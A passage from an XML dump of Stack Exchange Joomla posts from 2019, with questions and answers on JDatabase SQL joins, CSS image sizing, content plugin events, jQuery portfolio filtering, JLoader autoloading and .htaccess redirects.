error:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near '' at line 3&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;When I change my &lt;code&gt;where&lt;/code&gt; condition to only &lt;code&gt;$db-&amp;gt;quoteName('pc.virtuemart_category_id') . ' = '. $db-&amp;gt;quote($category)&lt;/code&gt; the query works ok.&lt;/p&gt;&#xA;" OwnerUserId="13683" LastEditorUserId="12352" LastEditDate="2019-08-07T22:47:14.100" LastActivityDate="2019-08-07T22:47:14.100" Title="Raw sql query returns multiple rows, but with Joomla methods only one row is returned" Tags="|joomla-3.x|mysql|virtuemart|jdatabase|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="25008" PostTypeId="1" CreationDate="2019-08-07T08:00:41.377" Score="0" ViewCount="335" Body="&lt;p&gt;I'm trying to tell an image to be displayed with a maximum height of 400 pixels, and a width adapted onto the used height, with the following CSS - Code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;span.itemImage img {&#xA;    max-height:400px;&#xA;    width:auto;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;With the code above, images don't exceed the height of 400 px; that works perfectly, but their width doesn't get adapted in function of the height they have. Anyone knows how to program that properly in CSS ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Illustration of the image in full size and normal mode:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/JReNm.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/JReNm.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now when I insert the CSS-code above with the max-height set to let's say 50px (took such a small value to clearly visualize the issue), the result is :&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/j6Kxa.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/j6Kxa.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So you can clearly see that the width of the image stayed the same, instead of being adapted in function of the height (which is in this case 50 px). Any help? I don't want any cropping to occur, just that the width of the image is set in function of the height the image has.&lt;/p&gt;&#xA;" OwnerUserId="13652" LastEditorUserId="13652" LastEditDate="2019-08-07T13:47:24.157" LastActivityDate="2023-12-14T22:01:15.130" Title="Resize image width in function of set image height in CSS?" Tags="|joomla-3.x|css|images|" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 4.0" />
  <row Id="25010" PostTypeId="1" AcceptedAnswerId="25024" CreationDate="2019-08-07T11:37:41.053" Score="2" ViewCount="134" Body="&lt;p&gt;Joomla 3.9.10&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am using &lt;a href=&quot;http://demo2.joomshaper.com/2019/indigo/index.php/portfolio&quot; rel=&quot;nofollow noreferrer&quot;&gt;this template&lt;/a&gt;. I would like to create a link on my home page that when clicked, will take the user to the portfolio page and display a pre-selected tab..&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example my link would be 'Branding Portfolio', when clicked this should go to &lt;a href=&quot;http://demo2.joomshaper.com/2019/indigo/index.php/portfolio&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://demo2.joomshaper.com/2019/indigo/index.php/portfolio&lt;/a&gt; and the 'Branding' tab should be pre-selected, and the items already filtered.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this possible?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've spoken with the developers JOomshaper but they've said it required additional development and they don't offer / support that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm thinking I could somehow use and anchor and jquery?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any advice is appreciated.&lt;/p&gt;&#xA;" OwnerUserId="1538" LastActivityDate="2019-08-09T12:13:24.813" Title="Link to Page &amp; Pre-Filter Portfolio Items" Tags="|joomla-3.x|javascript|jquery|url|filter|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="25011" PostTypeId="2" ParentId="25007" CreationDate="2019-08-07T13:35:21.167" Score="2" Body="&lt;p&gt;I found the error in my query.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Original:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;JOIN mus_virtuemart_product_categories as pc ON pc.virtuemart_product_id=vmp.product_parent_id&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Joomla query:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;-&amp;gt;join('INNER', $db-&amp;gt;quoteName('#__virtuemart_product_categories','pc') . &#xA;    ' ON (' . $db-&amp;gt;quoteName('pc.virtuemart_product_id') . ' = ' . $db-&amp;gt;quoteName('vmp.virtuemart_product_id') . ')')&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;The last column reference should be replaced.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Instead of &lt;code&gt;vmp.virtuemart_product_id&lt;/code&gt; it should be &lt;code&gt;vmp.product_parent_id&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So the final correct query is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$db = JFactory::getDbo();&#xA;$query = $db-&amp;gt;getQuery(true);&#xA;$query-&amp;gt;select(array(&#xA;                    'vmp.virtuemart_product_id as product_id',&#xA;                    'vmp.product_parent_id as parent_id',&#xA;                    'vmp.product_sku as sku',&#xA;                    'vmp.product_in_stock as stock',&#xA;                    'vmp.published as published',&#xA;                    'pc.virtuemart_category_id as category'&#xA;                    ))&#xA;      -&amp;gt;from($db-&amp;gt;quoteName('#__virtuemart_products','vmp'))&#xA;      -&amp;gt;join('INNER', $db-&amp;gt;quoteName('#__virtuemart_product_categories','pc') . &#xA;        ' ON (' . $db-&amp;gt;quoteName('pc.virtuemart_product_id') . ' = ' . $db-&amp;gt;quoteName('vmp.product_parent_id') . ')')        &#xA;      -&amp;gt;where($db-&amp;gt;quoteName('pc.virtuemart_category_id') . ' = '. $db-&amp;gt;quote($category). ' AND '. $db-&amp;gt;quoteName('vmp.product_parent_id') . ' &amp;gt;0');&#xA;$db-&amp;gt;setQuery($query);&#xA;$podaci = $db-&amp;gt;loadAssocList();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="13683" LastEditorUserId="12352" LastEditDate="2019-08-07T22:45:05.757" LastActivityDate="2019-08-07T22:45:05.757" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="25012" PostTypeId="1" AcceptedAnswerId="25020" CreationDate="2019-08-07T14:02:39.183" Score="1" ViewCount="38" Body="&lt;p&gt;I want to create a module that implements animated icons into my articles. For this I want to use the following icon-pack: &lt;a href=&quot;https://github.com/icons8/titanic&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/icons8/titanic&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then I want to somehow write in my article {loadedmodule ID, options}  where options would be something like 'mail','sidebar','preferences' and so on. Based on that I want to change the icon displayed. But when make a var_dump of the $params-Variable in my module this informations doesn't gets passed on.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Do you have any idea on how I could pass data directly from an article to a module?&lt;/p&gt;&#xA;" OwnerUserId="13684" LastEditorUserId="13684" LastEditDate="2019-08-07T14:12:50.990" LastActivityDate="2019-08-09T01:26:01.723" Title="Add Options to {loadedmoduleid ID}" Tags="|custom-component|custom-module|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="25013" PostTypeId="2" ParentId="25012" CreationDate="2019-08-07T14:17:15.587" Score="1" Body="&lt;p&gt;Hmmm. You sure you need a module for that, and not a plugin?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There's no mechanism in place to pass parameters from an article to a module, cleanly. They all center around the module getting the menu item, then walking that to the article and going from there.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But the plugin mechanism has the ability to pass arguments built right into it (you're using that when you pass a module ID to the loadmodule plugin). Plugins are designed to insert things into articles, modules are designed to live elsewhere on the page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I'm understanding what you're trying to do properly, I think you're looking to write a plugin, not a module. The good news is that they're a lot simpler to write, as well.&lt;/p&gt;&#xA;" OwnerUserId="5394" LastActivityDate="2019-08-07T14:17:15.587" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="25014" PostTypeId="2" ParentId="25008" CreationDate="2019-08-07T14:40:13.033" Score="0" Body="&lt;p&gt;It's maybe not the best solution, but with this little CSS-modification it works. Proper CSS-Code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;span.itemImage img {&#xA;    max-height:400px;&#xA;    width:auto!important;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="13652" LastActivityDate="2019-08-07T14:40:13.033" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="25015" PostTypeId="1" CreationDate="2019-08-07T15:16:50.743" Score="3" ViewCount="120" Body="&lt;p&gt;I have the following plugin written: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;defined( '_JEXEC' ) or die( 'Restricted access' );&#xA;&#xA;jimport( 'joomla.plugin.plugin' );&#xA;&#xA;class plgContentModifyArticle extends JPlugin&#xA;{&#xA;    function plgContentModifyArticle ( &amp;amp;$subject, $params )&#xA;    {&#xA;        parent::__construct( $subject, $params );&#xA;    }&#xA;&#xA;    function onBeforeContentSave( &amp;amp;$article, $isNew )&#xA;    {&#xA;&#xA;        echo &quot;Can you see this?&quot;;&#xA;&#xA;        global $mainframe;&#xA;        $newText = '&amp;lt;b&amp;gt;Testtext&amp;lt;/b&amp;gt;';&#xA;        $user =&amp;amp; JFactory::getUser(); // get the user&#xA;&#xA;        $article-&amp;gt;fulltext.=$newText;&#xA;        $article-&amp;gt;introtext.=$newText;&#xA;&#xA;        return true;&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;With the following xml-file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?xml version=&quot;1.0&quot; encoding=&quot;utf-8&quot;?&amp;gt;&#xA;&amp;lt;extension type=&quot;plugin&quot; version=&quot;3.1.0&quot; group=&quot;content&quot;&amp;gt;&#xA;    &amp;lt;name&amp;gt;Modifyarticle&amp;lt;/name&amp;gt;&#xA;    &amp;lt;version&amp;gt;1.0.0&amp;lt;/version&amp;gt;&#xA;    &amp;lt;description&amp;gt;Modify your articles&amp;lt;/description&amp;gt;&#xA;    &amp;lt;files&amp;gt;&#xA;       &amp;lt;filename plugin=&quot;modifyarticle&quot;&amp;gt;modifyarticle.php&amp;lt;/filename&amp;gt;&#xA;    &amp;lt;/files&amp;gt;&#xA;&#xA;    &amp;lt;install&amp;gt;&#xA;&#xA;    &amp;lt;/install&amp;gt;&#xA;&amp;lt;/extension&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I've made all of this based on the following tutorial: &lt;a href=&quot;https://docs.joomla.org/J3.x:Creating_a_content_plugin&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.joomla.org/J3.x:Creating_a_content_plugin&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Unfortunately, it doesn't add text to a new article. And I don't have any idea on how to debug this. &lt;/p&gt;&#xA;" OwnerUserId="13684" LastEditorUserId="12352" LastEditDate="2019-08-07T22:32:30.320" LastActivityDate="2019-08-09T01:28:54.297" Title="Content plugin doesn't add text to articles" Tags="|plugin|articles|custom-component|plugin-events|custom-action|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="25016" PostTypeId="2" ParentId="25015" CreationDate="2019-08-07T17:18:28.270" Score="5" Body="&lt;p&gt;Your plugin appears to be written for a very old version of Joomla! The event in current versions is &lt;code&gt;onContentBeforeSave&lt;/code&gt;. You are also missing &lt;code&gt;$context&lt;/code&gt; argument. It's a good idea to check for context to make sure that you're modifying the correct content type (e.g. article).&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public function onContentBeforeSave($context, $article, $isNew)&#xA;{&#xA;    if ($context !== 'com_content.article')&#xA;    {&#xA;        return true;&#xA;    }&#xA;&#xA;    // Add your code here.&#xA;&#xA;    return true;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Other pointers:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To avoid warnings in modern PHP versions rename constructor to &lt;code&gt;__construct&lt;/code&gt;. If you only call the parent function inside, you can remove the constructor completely.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If your plugin supports only Joomla! 3.x and above, you don't need to use &lt;code&gt;jimport()&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Global &lt;code&gt;$mainframe&lt;/code&gt; variable is no longer used in Joomla! You can declare &lt;code&gt;$app&lt;/code&gt; class variable to use the application object.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You won't see echoed text here, unless you stop the script. Instead you might want to use application's &lt;code&gt;enqueueMessage()&lt;/code&gt; method to display a message after saving completes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Assigning &lt;code&gt;JFactory::getUser()&lt;/code&gt; by reference generates a notice &lt;code&gt;Only variables should be assigned by reference&lt;/code&gt; in modern PHP versions.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;defined('_JEXEC') or die;&#xA;&#xA;class plgContentModifyArticle extends JPlugin&#xA;{&#xA;    protected $app;&#xA;&#xA;    public function onContentBeforeSave($context, $article, $isNew)&#xA;    {&#xA;        if ($context !== 'com_content.article')&#xA;        {&#xA;            return true;&#xA;        }&#xA;&#xA;        $this-&amp;gt;app-&amp;gt;enqueueMessage('Can you see this?');&#xA;&#xA;        $newText = '&amp;lt;b&amp;gt;Testtext&amp;lt;/b&amp;gt;';&#xA;&#xA;        // get the user&#xA;        $user = JFactory::getUser();&#xA;&#xA;        // do stuff with user, otherwise above call is not needed&#xA;&#xA;        $article-&amp;gt;fulltext  .= $newText;&#xA;        $article-&amp;gt;introtext .= $newText;&#xA;&#xA;        return true;&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="12652" LastEditorUserId="12652" LastEditDate="2019-08-07T17:26:15.700" LastActivityDate="2019-08-07T17:26:15.700" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="25017" PostTypeId="2" ParentId="24783" CreationDate="2019-08-07T19:19:55.520" Score="0" Body="&lt;p&gt;Yeah, I get all the search engines crawling URLs that have never existed on the site. It happens a lot, typically because they have that URL handed to them by some random site on the web. You can't control for that, and none of the search engines care very much about it, so that's a losing battle.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Some SEF extensions, such as sh404SEF, can handle that URL as an alias for a legitimate page, so if it bugs you, that may be one approach.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You should be able be able to use .htaccess, but I wouldn't use the syntax you posted as an example of what you tried. Apache's Redirect tends to take a greedy approach, so that example would also redirect, for example, &lt;code&gt;?Itemid=101&lt;/code&gt; as well as &lt;code&gt;?Itemid=&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A better pattern would be like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;RedirectMatch &quot;(.*)\?Itemid=$&quot; &quot;/whereever&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It will redirect every url that ends with that, and mod_rewrite might even be better. But, as with all .htaccess tries, this depends on the server config allowing these directives.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My temptation might be to consider that an &quot;attack&quot;, and 403 it, rather than redirecting it. It wouldn't be the first time folks with bad intentions fed their links to search engines to have them locate new prey.&lt;/p&gt;&#xA;" OwnerUserId="5394" LastEditorUserId="12352" LastEditDate="2019-08-07T22:26:03.923" LastActivityDate="2019-08-07T22:26:03.923" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="25018" PostTypeId="2" ParentId="22497" CreationDate="2019-08-08T13:40:15.897" Score="0" Body="&lt;p&gt;You can use this free module: &lt;a href=&quot;https://jsns.eu/joomla-extensions/js-lightbox-login&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://jsns.eu/joomla-extensions/js-lightbox-login&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Just create new menu item (System Links -&gt; URL). Then set the URL to:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#login-modal&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3524" LastActivityDate="2019-08-08T13:40:15.897" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="25019" PostTypeId="2" ParentId="24919" CreationDate="2019-08-08T14:44:10.757" Score="0" Body="&lt;p&gt;Did you put the metadata in properly?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm a bit confused. A really good example of connecting a layout to a menu item type is the first 8 lines of com_content's category blog XML file. In a nutshell, what you're needing in that file is a layout node. A barebones one:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;layout title=&quot;titleOfMenuItemType&quot; option=&quot;nameOfLayout&quot;&amp;gt;&#xA;  &amp;lt;message&amp;gt;&amp;lt;![CDATA[Description of Menu Item Type]]&amp;gt;&amp;lt;/message&amp;gt;&#xA;&amp;lt;layout&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Roam through the components, there are plenty of working examples there to look through.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But it sounds almost like what you're wanting to do is make the user first select a menu item type that points to a view, and after that make the user perform a second operation to select the layout, instead of doing both in one operation. If that's really what you're after, I'm curious as to what can be gained by doing that? Maybe I'm missing something.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Maybe if you'd explain what the problem is that this two-step approach is supposed to solve, we could do a better job of getting you to a solution.&lt;/p&gt;&#xA;" OwnerUserId="5394" LastActivityDate="2019-08-08T14:44:10.757" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="25020" PostTypeId="2" ParentId="25012" CreationDate="2019-08-09T01:26:01.723" Score="0" Body="&lt;p&gt;The best resource I was recommended, by another Joomla book author Tim Plummer, in regards to Joomla Plugins and Joomla development in general is this book from Jisse Reitsma, Programming Joomla! Plugins. I bought a 2nd hand copy from Amazon but I have since found a .pdf version to download somewhere on the net so if you go searching you should be able to find it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And Jisse has a few video out there from past Joomla events that I also learnt a lot from, not just plugins but some other ways to think about Joomla and cross CMS development.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Terry&lt;/p&gt;&#xA;" OwnerUserId="13306" LastActivityDate="2019-08-09T01:26:01.723" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="25022" PostTypeId="2" ParentId="25010" CreationDate="2019-08-09T08:09:16.103" Score="3" Body="&lt;p&gt;By &quot;anchor and jquery&quot; you mean like the way bootstrap tabs work - ie. by letting the uri's fragment hit the id of the tab. But these tabs aren't set up like that.  You can of course use jquery to trigger a click on the tab you want (via the fragment if that is useful) but that will trigger the animation that goes along with it.  If you don't care about that then the following js might do...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Example link with a fragment:&#xA;&lt;a href=&quot;http://demo2.joomshaper.com/2019/indigo/index.php/portfolio#branding&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://demo2.joomshaper.com/2019/indigo/index.php/portfolio#branding&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Example script to run after everything else has run:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;var hash = location.hash.replace('#', '');&#xA;jQuery('.sp-simpleportfolio-filter li[data-group=&quot;' + hash + '&quot;] a').trigger('click');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="7374" LastActivityDate="2019-08-09T08:09:16.103" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="25024" PostTypeId="2" ParentId="25010" CreationDate="2019-08-09T11:52:47.777" Score="3" Body="&lt;p&gt;I found the answer, thanks for the help @jamesgarrett&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The tabs were using shuffle.js so I needed to edit the page builder js file.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;jQuery(function($) {&#xA;&#xA;    var $container = $('.sp-simpleportfolio-items');&#xA;&#xA;    $(window).load(function() {&#xA;        var $sizer = $container.find('.shuffle__sizer');&#xA;&#xA;        $container.shuffle({&#xA;            itemSelector: '.sp-simpleportfolio-item',&#xA;            sequentialFadeDelay: 150,&#xA;            sizer: $sizer&#xA;        });&#xA;&#xA;        // ADD - get the url hash&#xA;        var hash = location.hash.replace('#', '');&#xA;        // ADD - shuffle based on the hash&#xA;        $container.shuffle( 'shuffle', hash );&#xA;        // ADD - highlight the tab&#xA;        $('.sp-simpleportfolio-filter li[data-group=&quot;' + hash + '&quot;] a').trigger('click');&#xA;&#xA;    });&#xA;&#xA;});&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1538" LastEditorUserId="11172" LastEditDate="2019-08-09T12:13:24.813" LastActivityDate="2019-08-09T12:13:24.813" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="25025" PostTypeId="1" CreationDate="2019-08-10T19:49:56.943" Score="8" ViewCount="659" Body="&lt;p&gt;There is one class called JLoader which has auto loading techniques for loading the library packages.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Why do we need some class for loading when we already have Composer autoloading?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What is this &lt;code&gt;registerPrefix&lt;/code&gt; in the JLoader class?&lt;/p&gt;&#xA;" OwnerUserId="13689" LastEditorUserId="12352" LastEditDate="2019-08-11T00:15:03.913" LastActivityDate="2019-08-13T22:43:59.770" Title="Why do we need a system autoloader when we are all ready using Composer autoloading?" Tags="|autoload|jloader|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="25026" PostTypeId="2" ParentId="25025" CreationDate="2019-08-12T02:12:57.907" Score="9" Body="&lt;p&gt;My understanding of autoloading is fairly rudimentary but since this has 4 votes and no answers I think I will give it a shot.  Please more knowledgeable types add corrections or a better answer etc.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Short Answer&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;The composer autoloader is used to autoload the php packages in libraries/vendor.&#xA;The JLoader autoloaders (it can queue up a few) autoload everything else except for the core FOF autoloader and any other autoloaders that any extensions register.  The composer autoloader is not the most flexible system to modify at runtime and there are a number of benefits to queuing multiple autoloaders rather than a single one that implements both cached and runtime path finding strategies.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Long Answer&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;PHP provides a simple way to deal with loading classes without having to use include or require statements - autoloaders!  They work by allowing a 'class not found' error to trigger any registered autoloaders to find and load the class before continuing with the process.  This allows you to not have to write require statements everywhere, but much more importantly, it allows your PHP to load only the classes that get called, not all the classes that might get called.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;PHP Doc on registering autoloaders&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.php.net/manual/en/function.spl-autoload-register.php&quot; rel=&quot;noreferrer&quot;&gt;https://www.php.net/manual/en/function.spl-autoload-register.php&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;More than one autoloader can be registered, and if an autoloader doesn't know where a class is, the next autoloader in the queue can have a go and so on and so on...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Autoloaders are not magical, they each have to implement a strategy of finding the file with the called class in it.  The composer autoloader has several strategies that it uses, but there are two basic ones: PSR-4 (where each package must follow a set directory structure and name spacing schema) and the class map (used to add legacy code matching some other structure).  The full list is here:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://getcomposer.org/doc/04-schema.md&quot; rel=&quot;noreferrer&quot;&gt;https://getcomposer.org/doc/04-schema.md&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But in general composer has all of its strategies for turning class names and namespaces into paths already cached up and ready prior to runtime so that it can do it as fast as possible.  A bunch of joomla vendor packages are included using composer already, and you can see them all in  /libraries/vendor/joomla/&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The Joomla autoloader, implemented in the JLoader class, is more focussed on loading not only joomla application code, but also code required by all the core and third party extensions. The JLoader also has a bunch of strategies for finding classes including the register prefix method.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://api.joomla.org/cms-3/classes/JLoader.html#method_registerPrefix&quot; rel=&quot;noreferrer&quot;&gt;https://api.joomla.org/cms-3/classes/JLoader.html#method_registerPrefix&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;registerPrefix allows for classes with no namespacing to simple find classes that start with some characters to look in a path.  There are already plenty of examples of using JLoader registerPrefix, so let's write an autoloader from scratch using a similar strategy.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Let's say in the entry file of your custom component - you wanted to write your own classic MVC PHP without using the Joomla component code, well then you could add your own autoloader only when you component is called.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Assuming that your prefix is Xyz, and your classes are arranged as follows:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/components/com_example/views/XyzView.php&#xA;/components/com_example/views/XyzExampleView.php&#xA;/components/com_example/models/XyzModel.php&#xA;/components/com_example/models/XyzExampleModel.php&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And XyzExampleView.php would of course contain:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Class XyzExampleView extends XyzView {/* real code */}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In the component entry file before launching some kind of router/front controller etc, you would add the following kind of autoloader:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function autoload_class($class) {&#xA;    if(strpos($class,'Xyz') === false){&#xA;        // the called class is not ours, so let this through to the next autoloader in the queue&#xA;        return;&#xA;    } elseif(strpos($class,'View') !== false){&#xA;        include 'views/' . $class . '.php';&#xA;    } elseif (strpos($class,'Controller') !== false){&#xA;        include 'controllers/' . $class . '.php';&#xA;    } elseif (strpos($class,'Model') !== false){&#xA;        include 'models/' . $class . '.php';&#xA;    } else {&#xA;        include 'helpers/' . $class . '.php';&#xA;    }&#xA;}&#xA;spl_autoload_register('autoload_class');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The above makes a very big assumption that no classes by other people will start with Xyz and follows the very strict rule that every class you do want autoloaded will start with Xyz.  But if that is safe enough then the above is ready to go.&lt;/p&gt;&#xA;" OwnerUserId="7374" LastEditorUserId="7374" LastEditDate="2019-08-12T05:31:39.953" LastActivityDate="2019-08-12T05:31:39.953" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="25027" PostTypeId="2" ParentId="18916" CreationDate="2019-08-12T10:28:10.390" Score="0" Body="&lt;p&gt;I would not bother implementing a Joomla extension for this task.  A mysql trigger (simply done via phpMyAdmin) is going to be a stable solution -- least likely to break while upgrading Joomla (you only need to be concerned if the table schemas change).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here are a couple of educational pages: &lt;a href=&quot;https://stackoverflow.com/q/6296313/2943403&quot;&gt;MySQL Trigger after update only if row has changed&lt;/a&gt; and &lt;a href=&quot;https://stackoverflow.com/q/17681308/2943403&quot;&gt;Get OLD Value in MySQL Trigger AFTER Update Statement&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;MySQL Doc: &lt;a href=&quot;https://dev.mysql.com/doc/refman/8.0/en/trigger-syntax.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://dev.mysql.com/doc/refman/8.0/en/trigger-syntax.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, &lt;a href=&quot;https://dba.stackexchange.com/&quot;&gt;https://dba.stackexchange.com/&lt;/a&gt; is great place to continue your research.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You haven't offered any specifics, so I am unable to be more descriptive -- you will have to customise the exact necessary logic for your application.&lt;/p&gt;&#xA;" OwnerUserId="12352" LastEditorUserId="12352" LastEditDate="2019-08-12T11:47:53.800" LastActivityDate="2019-08-12T11:47:53.800" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
